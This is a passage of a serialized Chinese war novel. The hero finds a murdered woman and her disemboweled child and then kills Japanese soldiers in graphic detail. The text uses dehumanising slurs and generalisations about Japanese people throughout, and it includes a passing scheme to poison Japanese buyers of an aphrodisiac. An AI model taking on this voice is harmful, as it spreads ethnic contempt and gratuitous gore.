两扇黑漆漆的木门歪歪扭扭地挂在门框上,门轴被劈得粉碎,像一只被打断了腿的狗。 一股浓烈的血腥味顺着风飘过来,混着烧糊的木头味,钻进鼻孔时还带着一股铁锈般的腥甜,让李二狗的心跳骤然加速。 他放轻脚步跨进院门,月光从云缝里漏下来,照亮了满院的狼藉。 青砖地上印着几个杂乱的血脚印,像一朵朵狰狞的花,一直延伸到堂屋门口。 墙角的月季花被踩得稀烂,花瓣混着泥土和血污,黏在地上成了暗红的一片。 平时李二狗来的时候,总爱坐在花池边喝茶,严婆惜就蹲在旁边择菜,两人时不时的笑声能传到街对面……李二狗的喉咙发紧,不敢再想。 “嫂子……嫂子……”他压低声音喊了两声,声音在空荡荡的院子里打了个转,却没得到任何回应。 只有风穿过窗棂的呜咽,像谁在无声地哭泣。 也许她早带着孩子跑了,李二狗这样安慰自己,手却控制不住地抖了起来。 他咬咬牙,推开虚掩的堂屋门。 门轴“吱呀”一声惨叫,在寂静的夜里显得格外瘆人。 第605章 嫂子!嫂子! 屋子里被翻得乱七八糟,一个黄花梨木的八仙桌被掀翻在地,桌腿齐齐地断了三根,一个元代的青花瓷瓶也被摔得粉碎,瓷片洒落的到处都是。 李二狗清晰地记得这是孙竹刚最喜欢的一件瓷器,是自己从胡家大院里拿出来送给他的。 墙角有几把椅子东倒西歪地碎了一地,其中有一把椅子的椅面上被刺刀戳了一个窟窿,木刺外翻着,像一只流着血的眼睛。 一个柜子上的锁被撬开,里面的衣裳被扯出来扔了一地,有严婆惜的红色旗袍、粉色裙子、还有孩子的虎头鞋…… 但是没有见到人。 李二狗的心稍微轻松了一些,也许她真的已经提前跑了。 孙竹刚作为江东县长,不可能没有预判局势的能力,不可能不提前把自己的老婆孩子送到一个安全的地方。 想到这,李二狗才彻底放下心来。 现在最紧要的事情就是把孙竹刚救出来。 他转身刚想往院子里走,眼角却瞥见旁边卧室的房门虚掩着,一条门缝里透出些许月光,映着地上的一个什么东西,亮晶晶的。 他脚下不由自主地走过去,伸手推开房门。 房门刚打开一条细细的缝隙,一股更浓烈的血腥味就涌了出来,差点让李二狗背过气去。 借着微弱的月光,他看见一个女人倒在床边,身子蜷缩着,像一只被揉皱了的纸人。 李二狗的脑袋“嗡”的一声,像被重锤狠狠地砸了一下。 他脚下一个趔趄,差点摔倒在地上。 床边的这个女人是严婆惜吗? 一定不是严婆惜,她怎么会死呢? 可看那背影,不是严婆惜又能是谁呢? 这里是严婆惜的家! 可她怎么会死呢? 她不能死! 李二狗脑子里乱极了,他猛地撞开房门,脚步踉跄着冲了进去,膝盖撞在门槛上,疼得钻心也顾不上。 他扑过去抱住她,触手处却是一片冰凉。 那张惨白的脸正是严婆惜。 “嫂子!嫂子!” 严婆惜的头发散乱着,一半被血黏在脸上,另一半乱糟糟地披在肩上。 她的衣衫被撕扯得不成样子,前襟处裂了一个大口子,露出的皮肤上青一块紫一块,丝毫没有了往日的白皙。 脖子上还有几道深深的血痕,显然是被人狠狠地殴打过。 李二狗的手抖得厉害,他颤抖着伸手去探她的鼻息,指尖触到的只有一片冰冷,没有丝毫热气。 尽管他千般不愿意,但严婆惜的确已经死了! “不……不会的……嫂子……你不能死……嫂子……” 李二狗喃喃自语着,目光往下移,看见她的胸口上插着一把剪刀,银亮的剪尖没入大半,只剩下一个乌木柄露在外面。 周围的衣襟早已被鲜血浸透,凝成一个暗红色的硬块。 剪刀是严婆惜平时做针线活的那把,他见过她用它给孩子裁鞋底,当时阳光落在剪子上,亮得晃眼…… 她肯定是被逼到了绝路,宁死也不肯受辱,自己用剪刀了结了性命。 “嫂子!” 李二狗再也忍不住了,一声悲嚎从喉咙里冲了出来,只觉得喉咙一热,一口鲜血喷薄而出,染红了黄色的床帏。 他的眼泪就像断了线的珠子一般,一颗一颗地滴落到严婆惜那张冰冷的脸上。 以前每次见到这张脸总是一副暖暖的笑容。 想起她总在自己来的时候,端出一碗热腾腾的海鲜馅饺子,说“二狗啊,你多吃点,看你瘦的”; 想起孩子总是奶声奶气地叫他“二狗叔”,拽着他的衣角要听大院的故事…… 那一幅幅画面就像一把锐利的刀子,一下一下剜着他的心。 就在这时,他眼角的余光扫过床榻,心里猛地一紧。 床上的被褥被扯得乱七八糟,露出的床单上沾着大片的血迹。 他僵硬地转过头,看见一个小小的身子蜷缩在床角,身上那件虎头袄被血染成了黑红色。 李二狗的呼吸瞬间停滞了。 他颤抖着伸出手,掀开那片被血浸透的被褥…… 是严婆惜的孩子,那个才三岁的小娃娃,眼睛还圆睁着,像是还没明白发生了什么。 他的小肚子上,有一道长长的刀口,皮肉外翻着,里面的肠子混着血污流了一地,把身下的褥子浸成了黑紫色。 “呕……” 李二狗再也忍不住了,他猛地侧过身,趴在地上剧烈地呕吐起来。 胃里一阵翻江倒海,酸水混合着胆汁喷涌出来,呛得他眼泪直流,却怎么也吐不干净那股恶心和愤怒。 这群日本畜生! 竟然连这么小的孩子都不放过! 他们到底还是不是人! 简直是畜生! 连畜生都不如! 李二狗死死地攥着拳头,一拳一拳打在床沿上,瞬间鲜血直流。 鲜血顺着指缝滴落在地上,和严婆惜母子的血混在了一起。 一轮皎洁的月光从窗棂照射进来,落在严婆惜死不瞑目的脸上,落在孩子圆睁的眼睛上,落在那把染血的剪刀上,也落在李二狗布满血丝的眼睛里。 外面突然传来一阵鬼子狂狼的笑声,还有女人的哭喊声远远地传来,很快又被一阵枪声打断了。 李二狗慢慢地站起身,抹了一把脸上的泪水,眼里的悲伤一点点被一种近乎疯狂的恨意所取代。 他轻轻放下严婆惜的身体,用她的衣襟盖住她的脸,又把孩子抱起来,用自己的褂子裹住那小小的身体。 “嫂子,娃,”他的声音仿佛有千斤重,每个字里都带着血,“我李二狗对天发誓,这笔血债,我一定让那些日本畜生加倍地还回来!” 夜风从破窗钻了进来,带着一股浓烈的血腥味和焦糊味,吹动了李二狗额前的几缕碎发。 他再次看了一眼这间曾经充满烟火气的屋子,慢慢地从严婆惜身上拔出那把明亮亮的剪刀。 “嫂子,你等我回来!” 李二狗紧握着剪刀,然后转身一步步走出了房门。 门外的夜色里,鬼子的身影在不远处晃动着,而李二狗的眼睛里,亮得像要燃起来的火。 第606章 复仇的火焰 不知道从什么时候开始,天空飘起了淅淅沥沥的雨丝。 灰色席卷人间,雨夜悲凉入骨。 李二狗紧握那把沾满着严婆惜鲜血的剪刀,走出孙竹刚家的院门时,眼中只剩下冷意。 剪刀的乌木柄上仿佛还残留着严婆惜最后握住它时的温度。 街面上死寂得可怕,只有狂风卷着焦糊的纸灰,在断壁残垣间打着旋,发出呜呜的声响,像无数冤魂在哭。 他贴着墙根往前走,身影在夜色中显得忽明忽暗,就像一个急着去索命的幽灵。 街角处,三个日本鬼子正围着一堆篝火,火上烤着一只小肥羊,油星子滴在火里,溅起阵阵火星。 其中一个日本鬼子正举着酒瓶往嘴里灌,酒液顺着他的嘴角流到脖子上,浸湿了那件土黄色的军衣领口。 另一个日本鬼子则用刚刚杀过人的刺刀挑起一块烤的半熟的羊肉,贪婪地往嘴里塞,油乎乎的手在军服上胡乱擦着。 还有一个日本鬼子背对着街口,正对着墙根撒尿,嘴里哼着不知名的日本小调。 李二狗的眼睛在黑暗里亮得像一头野狼。 他没有丝毫犹豫,脚下像抹了油一般,悄无声息地滑到撒尿的日本鬼子身后。 那个日本鬼子刚抖了抖裤子,还没来得及系好裤腰带,李二狗的左手已经捂住他的嘴,右手的剪刀寒光一闪,顺着脖子狠狠地划了下去。 “噗嗤……” 鲜血像喷泉似的喷涌而出,溅了李二狗一身。 日本鬼子的身体猛地抽搐了两下,双腿一软,像一滩烂泥似的倒了下去。 李二狗顺势一矮身,接住他的尸体,轻轻低放在地上,没发出一点声响。 篝火旁的两个日本鬼子毫无察觉,举着酒瓶的那个正在哈哈大笑,不知道叽里咕噜地说些什么。 李二狗捡起地上的一块板砖,在手掌里掂量了一下,然后猛地朝举酒瓶的那个日本鬼子掷了过去。 板砖像流星似的正砸在那日本鬼子的后脑勺上,“咔嚓”一声脆响,那日本鬼子哼都没哼一声,直挺挺地倒在火堆里,火苗瞬间窜了起来,他的军服烧着了,发出刺鼻的焦糊味。 剩下的那个日本鬼子嘴里正叼着一块羊肉,吓得眼珠子瞪得滚圆,刚要伸手去摸枪,李二狗已经像猎豹似的扑了上去。 他左手锁住鬼子的喉咙,右手的剪刀顺着他的肋骨缝狠狠地扎了进去,手腕一拧,再猛地往外一抽。 “嗷……” 日本鬼子发出一声不似人声的惨叫,嘴里的羊肉掉在地上,双手徒劳地抓着李二狗的胳膊,眼睛里的惊恐就像见到了索命的阎王。 李二狗面无表情,另一只手按住他的脑袋,猛地往火堆里按去。 日本鬼子的头发瞬间被点燃,发出“滋滋”的声响,他在火里疯狂地挣扎着,很快便没了动静,只剩下一团扭动的火球,散发出令人作呕的气味。 李二狗抹了一把脸上的血,捡起地上的刺刀,又将那把剪刀重新揣好。 篝火照在他面无表情的脸上,一半是火光,一半是阴影,眼神里的那股狠劲比这篝火还要猛烈百倍千倍。 他知道,今夜的杀戮才刚刚开始。 往前走了没几步,就听见巷子里传来女人的哭喊声和日本鬼子的狞笑。 李二狗的心猛地一揪,没有丝毫犹豫,握紧剪刀就冲了进去。 巷子深处,两个日本鬼子正在撕扯着一个年轻女人的衣裳,那女人的孩子被一脚踹在地上,哭得撕心裂肺。 旁边还躺着一个汉子,额头上有一个血窟窿,头下面是一滩血迹,早已没了声息。 “畜生!” 李二狗低吼一声,像一阵风似的冲了过去。 左边的日本鬼子刚把女人的裤子扒下来,还没来得及狞笑,就感觉后颈一凉。 他疑惑地转过头,看见李二狗手里的剪刀上正滴着血,自己的脖子上却多了一道血线。 下一秒,血线突然扩大,他的脑袋“咕咚”一声掉在地上,滚到那个死去的汉子脚边,眼睛还圆睁着。 另一个日本鬼子顿时吓得魂飞魄散,松开女人的手就要去拔枪。 李二狗哪会给他机会,他飞身一脚踹在他的手腕上,枪“哐当”一声掉在地上。 那日本鬼子惨叫一声,刚要后退,李二狗已经欺身而上,左手抓住他的衣襟,右手的剪刀对着他的胸口就是一通乱扎。 “噗嗤!噗嗤!噗嗤!” 剪刀的刀尖一次次插入日本鬼子的皮肉,带出一股股热血。 那日本鬼子的胸口很快便被扎成了马蜂窝,血像喷泉似的往外涌,染红了李二狗的胸口。 小日本鬼子还在疯狂地挣扎着,嘴里发出“嗬嗬”的声响,李二狗却像没看见似的,直到他的身体彻底软下去,才一把将他推开。 “快带着孩子走!”李二狗对着那吓傻的女人吼道。 女人这才反应过来,她提上裤子,一把抱起地上的孩子,连滚带爬地往后巷跑,刚跑了几步又回头看了一眼躺在地上的那个男人,然后又看了一眼李二狗,眼里满是恐惧和不知所措。 “快走!” 女人抱着孩子跑走了。 李二狗俯身捡起地上的一把王八壳子手枪,检查了一下里面的子弹,然后揣在腰间。 巷子里的血腥味浓得化不开,他深吸一口气,那股腥甜的气味不仅没让他恶心,反而更加激起了他骨子里的凶性。 刚走出巷子,就撞见一队巡逻的日本鬼子,大概有七八个人,正端着枪四处张望。 为首的那个军官举着军刀,嘴里吆喝着什么,军靴踩在碎玻璃上,发出刺耳的声响。 李二狗迅速闪身进入旁边一家烧塌了的铺子里,俯身躲在柜台后面。 日本鬼子越来越近,脚步声、说话声都听得清清楚楚。 李二狗手里紧握着剪刀,心脏在胸腔里“咚咚”狂跳,却不是因为害怕,而是因为兴奋——那种即将血债血偿的兴奋。 当头的鬼子军官刚走到铺子门口,李二狗突然从柜台后窜了出来,像一只捕食的猛虎。 第607章 虎入羊群 李二狗手里的剪刀直取鬼子军官的咽喉,动作快得就像一道闪电。 鬼子军官反应也算快,下意识地举刀去挡,却被李二狗手腕一翻,剪刀顺着刀背滑下去,还是扎进了他的脖子。 “呃……” 鬼子军官的军刀“哐当”落地,双手捂着脖子,鲜血从指缝里汩汩往外冒,眼睛瞪得像铜铃,直挺挺地倒了下去。 旁边的日本鬼子们愣了一下,显然没料到会有人突然袭击。 李二狗趁机矮身,抓起地上的军刀,反手劈向离他最近的一个日本鬼子。 那日本鬼子刚举起枪,就被军刀劈中了手腕,枪掉在地上,手腕处的骨头都露了出来,疼得他嗷嗷直叫。 李二狗没给他叫第二声的机会,军刀顺势往下,从他的肩膀一直劈到小腹,肠子“哗啦”一下流了出来,红的白的溅了一地。 剩下的五个日本鬼子终于反应过来,举着枪就要射击。 李二狗却比他们更快,一个翻滚躲到一根柱子后面,子弹“嗖嗖”地打在柱子上,溅起一片木屑。 他趁着日本鬼子换弹匣的空档,猛地冲了出去,手里的军刀舞得像大风车。 一个日本鬼子刚把子弹上膛,就被李二狗一刀削掉了半边脑袋,脑浆混着血溅在旁边的墙上,恐怖而狰狞。 另一个日本鬼子举着刺刀刺过来,李二狗侧身避开,同时一脚踹在他的膝盖上,“咔嚓”一声,那日本鬼子的膝盖以诡异的角度弯了下去,疼得他跪在地上哀嚎。 李二狗手起刀落,砍下了他的脑袋。 还有三个日本鬼子吓得连连往后退,端着枪“砰砰”朝着李二狗的方向胡乱地射击,他们还从未见过身手如此好又如此凶残的中国人。 李二狗躲在柱子后面,心里默数着他们枪里的子弹。 等他们打完了枪里的五发子弹,李二狗冷笑一声,从柱子后面闪出,扔掉手里的军刀,从腰间拔出那把沾着血的剪刀,猛地朝他们冲去。 月光照在他身上,他像从血里捞出来的杀神,眼里的凶光让日本鬼子们不由自主地打了个寒颤。 “八嘎!” 一个鬼子日本举着枪冲了过来。 李二狗不闪不避,等他快到跟前时,突然矮身,剪刀从他的裆部狠狠扎了进去。 那日本鬼子发出一声凄厉到变调的惨叫,双手捂着下面,身体像虾似的弓了起来。 李二狗没给他喘息的机会,另一只手抓住他的枪,猛地往前一送,枪头的刺刀从他的嘴里穿了进去,后脑勺穿出个血窟窿。 最后两个日本鬼子彻底吓破了胆,转身就想跑。 李二狗哪会让他们跑掉,追上去一把抓住其中一个的后领,将他往后一拽,同时膝盖顶在他的后腰上。 “咔嚓”一声,那日本鬼子的脊椎断了。 他趴在地上,四肢像一条死狗似的乱蹬,嘴里发出“呜呜”的声音。 李二狗上前一步,一脚踩在他的脑袋上,狠狠往下碾,直到那脑袋像个烂西瓜似的,红的白的流了一地。 最后一个日本鬼子已经跑出了老远,李二狗捡起地上的一块砖头,用尽全力掷了过去。 砖头“砰”地一声砸在他的后脑勺上,那日本鬼子往前扑了几步,趴在地上不动了。 李二狗走过去,拔出剪刀,对着他的后心又扎了几下,直到确认他死透了才罢休。 铺子里横七竖八地躺满了日本鬼子的尸体,有的缺胳膊少腿,有的开膛破肚,有的脑袋不翼而飞,场面惨不忍睹。 李二狗站在尸体中间,胸口剧烈地起伏着,汗水混着鲜血从额角往下淌,滴在地上的血水里,晕开一朵朵小小的涟漪。 他喘了口气,正准备离开,突然听见远处传来一阵急促的脚步声和叽哩哇啦的声音,似乎是听到动静赶过来的日本鬼子。 李二狗眼神一凛,迅速爬上烧塌的二楼,躲在一根断裂的房梁后面。 很快,十几个日本鬼子端着枪冲了进来,为首的是一个戴着眼镜的军官,他看着地上的尸体,脸色铁青,嘴里叽里呱啦地吼着什么。 小鬼子们举着枪,小心翼翼地四处搜查,手电筒的光柱在黑暗里晃来晃去。 李二狗屏住呼吸,像一块石头似的一动不动。 他看着那些晃动的光柱,听着日本鬼子们越来越近的脚步声,手里的剪刀握得更紧了。 一个日本鬼子的手电筒照到了二楼,光柱在他藏身的房梁上扫过。 李二狗的心提到了嗓子眼,就在那日本鬼子要抬头细看时,他猛地从房梁后跳了下去,像一只雄鹰扑向地面的猎物。 他的目标是那个戴眼镜的军官。 在半空中,他手里的剪刀已经对准了那名军官的胸口。 那军官吓得眼镜都掉了,刚要拔刀,李二狗已经落在他面前,剪刀“噗嗤”一声没柄而入。 “啊!” 鬼子军官发出一声短促的惨叫,身体软软地倒了下去。 周围的日本鬼子们又惊又怒,举着枪就要射击。 李二狗却借着落地的惯性,一个翻滚,躲到了一张翻倒的桌子后面,子弹“嗖嗖”地打在桌子上,木屑纷飞。 他看准时机,猛地从桌子后窜出来,手里的剪刀对着离他最近的一个日本鬼子的眼睛扎了进去。 那日本鬼子惨叫一声,双手捂着眼睛,鲜血从指缝里流出来。 李二狗顺势夺过他手里的枪,对着旁边的日本鬼子扣动了扳机。 “砰!砰!砰!” 几声枪响过后,又有三个日本鬼子倒在了地上。 剩下的日本鬼子们被打懵了,不知道该朝哪里开枪。 李二狗趁机扔掉手里的枪,再次拔出剪刀,冲进了鬼子群里。 他像一头虎入羊群,在日本鬼子中间左冲右突,剪刀每一次挥动,都伴随着一声惨叫和一股鲜血。 一个日本鬼子举着刺刀刺向他的后背,李二狗像是背后长了眼睛,猛地转身,剪刀顺着刺刀的缝隙扎了进去,正中那日本鬼子的心脏。 另一个日本鬼子从侧面扑过来,想抱住他,李二狗却抬起膝盖,狠狠顶在他的裆部。 日本鬼子疼得蜷缩在地上,李二狗上前一步,剪刀从他的喉咙里扎了进去。 第608章 黎明咬破夜的唇 战斗很快便结束了。 铺子里再次堆满了日本鬼子的尸体,比刚才更多,死的更惨。 那个戴眼镜的日军军官胸口插着那把明晃晃的剪刀,眼睛瞪得大大的,仿佛到死都不敢相信自己会这样轻易死去。 他怀揣着“大东亚共荣”的梦想进入中国,这才短短两个月的时间,就去地狱见了天皇。 实在是可悲、可叹、可怜、可喜、可贺! 李二狗站在这一片狼藉之中,身上的衣服早已经被日本鬼子的鲜血浸透,紧紧地贴在身上。 他一只手扶着墙,弯着腰,大口大口地喘着粗气,喉咙里干燥的像冒着火星子。 淅淅沥沥的小雨不知道什么时候已经停了,月光从破屋屋顶的一个窟窿里照射下来,照在李二狗身上,也照在那些死不瞑目的日本鬼子狰狞的脸上。 李二狗慢慢走到那个戴眼镜的日军军官身边,拔出他胸口的那把剪刀,看着上面的血迹,又想起了严婆惜倒在床边的样子,想起了那个被开膛破肚的孩子。 他的眼泪突然毫无预兆地流了下来,混合着脸上的污血,一起滴落在地上。 “嫂子,娃,”他哽咽着呢喃道,声音沙哑得几乎自己都听不见,“我替你们报仇了……我替你们报仇了……” 一阵湿热的风从破屋屋顶灌了进来,却带着一股刺骨的寒意,吹得李二狗瑟瑟发抖。 但他心里的那团复仇的火焰,却越烧越旺。 他知道,杀死这几个日本鬼子还远远不够,县城里还有很多日本鬼子,整个中国还有很多日本鬼子,还有很多像严婆惜母子一样惨死的冤魂等着他去报仇。 李二狗抹了一把脸,把眼泪和血水一起擦掉,他握紧手里的剪刀,转身走出了铺子。 夜色依旧浓重,但他的眼神却异常坚定。 他就像一道黑色的闪电,消失在县城的深处,只留下身后一片狼藉和浓重的血腥味,在寂静的夜里弥漫开来。 他要继续杀下去,直到把所有的日本鬼子都赶出这片土地,直到为所有死去的同胞报仇雪恨。哪怕粉身碎骨,他也在所不惜。 因为他知道,他的身后,是无数双期待的眼睛,是无数个像严婆惜母子一样,渴望着和平与安宁的灵魂。 黎明咬破夜的唇,将那抹血迹留于天际。 天亮了,日本鬼子彻底慌了! 他们当初不费一兵一卒打进江东县城,活捉县长孙竹刚,却没想到,一夜之间竟有十几名士兵神秘死亡,尤其是他们死亡的惨状令人毛骨悚然。 日军小队长松井直树彻底发狂了。 他命令士兵展开全城搜捕,一定要活捉这个神秘的杀人凶手。 一时间,枪炮声、杀戮声、哭喊声、狞笑声以及燃烧的噼啪声、房屋的塌陷声充斥在江东县城的每一个角角落落,江东县城彻底成为了人间地狱。 躲在暗处的李二狗,亲眼目睹了这一切,他惊呆了! 自己的确杀死了十几个日本鬼子,为严婆惜母子报了仇,可却引来日本鬼子更加凶残的报复,无数江东父老因此惨死在日本鬼子的刺刀之下。 李二狗有一种深深的无力感和负罪感。 我不杀伯仁,伯仁却因我而死! 李二狗心里难受极了! 孙竹刚现在被关押在什么地方还无从得知,李二狗想去救人却不知道该去哪里营救。 中午时分,一个联队的日本鬼子进驻江东县城,李二狗彻底失去了营救孙竹刚的机会。 他从狗洞钻出县城,失魂落魄地回到清风集团。 “狗哥,你……你这是怎么了?” 正在寨里巡视的望冬见李二狗浑身是血,连蒙面的面巾都忘记了戴。 李二狗仿佛没有听见一般,他摆了摆手,没有说话,径直向家中走去。 望冬不放心,一直跟在他身后。 回到家中,李素文见到李二狗的样子同样也是吓了一跳。 “二狗,你身上的血是怎么回事?你有没有受伤?” 李二狗只是轻轻地摇了摇头。 “我想一个人待一会儿。” 李二狗说完就回了卧室,并把房门关上了。 “二狗,你到底怎么了?” 李素文不放心,推了推门,发现房门在里面锁上了。 “二狗,你快点把门开开,你到底怎么了?发生什么事了?你别让我着急啊,快点告诉我。” “我没事!” 李二狗说完这三个字,里面又没有了动静。 李素文又要敲门,被望冬拦住了。 她劝道:“素文姐,我看狗哥肯定是累坏了,好在他身上并没有伤,还是让他一个人先休息一会儿吧。” 李素文急的眼泪都下来了。 “你看他那个样子,好像刚从死人堆里爬出来的一样。” 望冬扶着李素文坐在椅子上,然后给她倒了一杯热水。 “素文姐,我听说日本人已经攻占了江东县城,杀了好多好多的人。” 李素文两耳不闻窗外事,听到日本人占领了江东县城还是吓了一跳。 “日本人已经打到江东了?我前两天才听二狗说,日本人已经占领了省城,没想到这么快就打到了江东,这速度实在是太快了!” “是啊,我还听说,日本人只有区区不到一百人,只放了几枪,江东县保安团就狼狈逃窜了,哎,实在是窝囊!” “望冬,你说日本人真的杀人不眨眼吗?” 望冬下意识地看了看李二狗所在的房间,她总觉得李二狗身上的这些血不简单。 “我听人说日本人见男人就杀,见女人就往上扑,连孩子婴儿都不放过!” 李素文吓得脸都白了。 “那日本人会不会打到咱们这里来?” “这可说不准!”李素文的问题确实超出了望冬的认知,“不过咱们在这深山老林的,日本人打到咱们这里来做什么?再说,有狗哥在,日本人轻易也打不进来!” 提到李二狗,李素文心里又是一阵发紧。 “望冬,你去忙吧,我在这里等等他。” 望冬见李素文脸色非常难看,关心地问道:“素文姐,你没事吧?” “我没事,你去忙吧。” “那我晚上再过来。” 望冬走后,李素文坐在门口,看着李二狗所在的房门发呆。 他到底怎么了? 第609章 李二狗恢复元气 一直等到太阳落山,李二狗也没有从房间里出来。 李素文担心李二狗出事,又来到房门口敲了敲门。 “二狗,你还好吗?” 里面静悄悄的,没有任何动静。 “二狗,你开开门,我很担心你!” “二狗……” 李素文抬起手想要再次敲门时,房门打开了。 满脸胡茬的李二狗神色疲惫地出现在李素文面前。 “二狗,你到底怎么了?” 李素文扑到李二狗怀里失声痛哭。 李二狗拍了拍李素文的后背,有气无力地说道:“素文,我没事,你别担心,我只是感觉好累好累,感觉身体好像被抽空了一般。” 李素文还从未见过李二狗如此脆弱,在她的印象中,这个男人永远都是昂首挺胸,从不低头。 她心疼地说道:“二狗,把你身上的脏衣服脱下来,换身干净衣服,再去床上睡一会儿吧。” 李二狗机械般地点了点头,却没有任何行动。 李素文进屋,从柜子里找出一身干净的衣服。 “换上吧。” 李二狗还是点了点头,目光呆滞。 李素文只好把李二狗身上的血衣一件件脱下来,又把干净的衣服一件件帮他换上。 “去床上躺一会儿吧。” 李二狗点了点头,依然站在原地没有动。 李素文只好牵着李二狗的手,把他拉到床边。 “睡吧。” 李二狗突然握住李素文的手,泪流满面,他几乎用哀求的声音说道:“素文,不要离开我!” 李素文的心都碎了。 她紧紧地抱住李二狗,把头贴在他的胸口。 “二狗,我不离开你,我永远也不离开你。” 两人和衣抱在一起,一直到天色破晓都没有分开。 李二狗缓缓睁开眼睛,看到李素文躺在自己怀中,眼角还挂着泪珠。 从昨天到现在,他仿佛经历了一个世纪! 他把李素文的手轻轻地挪开,然后起身下了床。 走出房门,头顶上是一个明晃晃的太阳,阳光晃得人眼睛都睁不开。 李二狗很难想象,此时江东县城的上空是不是也有一个同样晃人眼睛的太阳。 “狗哥,你醒了。” 不知道什么时候,望冬出现在李二狗身后。 李二狗转身给了望冬一个标志性的微笑。 “望冬,让你担心了。” 李二狗还是李二狗,那个熟悉的李二狗又回来了。 “狗哥,你没事就好,我担心了你一夜。” 这话听着挺暧昧,其实非常纯洁。 “我没事,你去通知秀才、老三,一个小时之后,咱们在议事厅开一个碰头会。” 自从陈嘎子、张石头因为严重违反集团规定被枪决之后,清风集团寨务会还剩下七名寨务会成员。 但另外三名寨务会成员是三个农场的副总经理,不是李二狗的嫡系,所以大多数时候,李二狗只召集秀才、陈老三和望冬开会。 这四个人组成了清风集团核心领导层,是领导当中的领导。 李二狗返回家中洗了个澡,之后来到议事厅。 其他人已经到齐,看见李二狗进来纷纷站立起来。 李二狗在众人的注视下坐到自己的位子上,然后招手让大家坐下。 此时的李二狗已经完全恢复了往日的神态。 “秀才,和大家说说最近全省的形势。” 李二狗没有提前安排,但他知道秀才肯定已经打听的清清楚楚,清风集团在省城和江东都有耳目。 秀才一脸严肃,显然当前的局势让他非常担忧。 “省城和江东目前都已被日本鬼子攻陷,全省几乎所有的城市都已落入日本人手中。” 众人听后无不惊愕不已。 驻守省内的汤司令号称常胜将军,手下的部队有五六万之众,没想到在日本人面前这么快就一败涂地。 陈老三插话道:“狗哥,如今到处都是日本鬼子,他们不会打咱们集团的主意吧?” 李二狗没有回答,而是看向秀才。 “秀才,你怎么看?” 秀才沉吟片刻,分析道:“我觉得日本人现在还顾不上广大农村地区,咱们集团又处在深山老林,日本人应该不会注意到咱们。 “至少短时间内不会注意到咱们。”秀才又补充道。 秀才的分析和李二狗的判断基本一致。 目前日本人正在全力夺取地盘,只有城市才是他们的进攻目标。 日本是一个蕞尔小国,国土面积有限,兵员同样有限,他们现阶段不可能把兵力分散到中国更广阔的农村地区。 说白了,中国农村地区的一个村庄可能还不值日本人的一颗炮弹钱,他们没有必要把精力浪费在这上面。 李二狗认为,日本因为兵员有限,在侵华初期占领了中国大片领土之后,根本没有多余的兵力来维持社会秩序,他们必然会招募一些没有民族气节的中国人来充当他们维持沦陷区统治的工具。 “秀才说的没错,日本人目前应该不会打咱们集团的主意,但也不能大意。望冬,通知下去,从今天起,让五个农场增加夜间站岗人数,把警戒哨向前推进二公里,防止日本鬼子突然偷袭。” “知道了,狗哥。” “老三,机器安装的怎么样了?” “快了,你在省城请来的工人正在连夜安装。” “一个星期后必须投入生产,能不能行?” 陈老三虽然不知道能不能行,但他还是很肯定地说道:“保证完成任务。” 日本全面侵华后,李二狗本打算不再向日本供应一夜八次丸。 但日本人的钱不挣白不挣,他准备大幅提高一夜八次丸在日本的售价,他知道,如今日本很多男人根本离不开一夜八次丸。 他本来计划在一夜八次丸里面加入一些慢性毒药,毒死那些日本男人,不过日本对进口的药品实行严格的检验检疫制度,如果在一夜八次丸里添加毒药,一定会被检测出来。 到时候不仅药品会被禁止销售,旧垣结衣一定也会被牵连。 李二狗不想害了旧垣结衣。 日本男人虽然很可恨,但日本女人却很合李二狗的胃口。 第610章 孙竹刚投敌 李二狗之所以决定继续向日本本土供应一夜八次丸,其实还有一个非常重要原因。 据他判断,日本鬼子很快便会占领中国东部的大片国土,到时候中国东部沿海所有的出海通道将会全部被日本人控制。 李二狗可以通过上海的松上商社,把一夜八次丸轻松地运送到日本,可想运往欧美国家则会显得十分困难。 酒井空目前已经不在井伊商社,她和李二狗合伙成立了一个公司,负责一夜八次丸在欧美市场的销售。 凭她个人在日本的影响力,要想打通中国到欧美的运输线几乎不可能。 本来李二狗计划把一夜八次丸的生产线搬到美国,但他本人无法离不开中国,如果把一夜八次丸的配方交给酒井空,他还是不放心。 酒井空虽然是他胯下的女人,但毕竟非我族类,李二狗不得不防! 酒井空虽然深爱着他,但已不止一次的给李二狗设置圈套。 李二狗知道,她是一个分得清生活和工作的女人。 为了达到自己的目的,她很可能会再次伤害李二狗。 不给她伤害自己的机会,从某种意义上来说,李二狗也是为了她好。 目前,清风集团下属的五个农场种植了大片的淫羊藿、菟丝子、仙茅、附子,是集团最主要的收入来源,如果一夜八次丸卖不出去,种植的这些中药材将成为一堆废柴。 李二狗不得不为整个集团近千名兄弟的饭碗考虑。 一千名兄弟,背后就是一千个家庭,李二狗深感责任重大。 “秀才,最近贸易行的生意怎么样?” 李二狗口中的贸易行其实就是联手沈阳的清风寨专做东北走私生意的公司,由秀才亲自负责。 “狗哥,我正要向你汇报的,目前华北战事紧张,通往东北的海上通道断了。” “损失大吗?” 秀才面色凝重。 “一船染色布被炸沉了,损失不小。” 如果断了这条财路,集团损失将不小。 “秀才,你马上安排人去和柱子他们联系,一定要再打通一条秘密通道。” 秀才深知这条走私线路的重要性。 “狗哥,要不然我亲自去一趟东北,我怕底下人说不明白。” 如今战火频繁,李二狗想了想,还是没有同意秀才亲自去东北。 “秀才,现在是非常时期,你还是留在集团吧,你给柱子写一封信,你派一个机灵点的兄弟送过去。” 秀才知道李二狗是担心自己的安全,心下十分感动。 “我知道了,狗哥,会后我马上去办。” 李二狗凝视众人,神情凝重。 “中日这场战争,肯定一时半会儿结束不了,大家一定要做好充足的心理准备,困难的日子还在后面。” 议事厅里一阵沉默。 “好了,大家都去忙吧,我这两天有事,不在集团,你们几个做好各自手头负责的事情,绝对不能出任何乱子,没有特殊情况,所有人一律不许下山,私自下山者,严惩不贷!” 众人散后,望冬照例留了下来,陈老三照例在出门前回头看了她一眼。 “狗哥,你真的没事吗?有事和我说一说吧,也许我能帮你出一出主意。” 严婆惜的死令李二狗悲痛欲绝。 江东县城的惨状依然历历在目。 李二狗一直认为是因为自己的鲁莽害了江东更多无辜的百姓。 那种想痛痛快快地杀日本鬼子而又不敢杀的感觉,令李二狗憋得相当难受。 他给了望冬一个兄长般的微笑,说道:“望冬,我没事,你去忙吧。” 有些伤痛,李二狗只能独自承受。 李二狗下山回到胡家大院。 张二驴正站在胡家大院门口来回踱步,一看见李二狗,赶紧迎了上去。 “狗哥,你可回来了。” “二驴,什么事这么慌慌张张?” 张二驴满脸通红,额头上全是汗珠,显然已经等了李二狗很久。 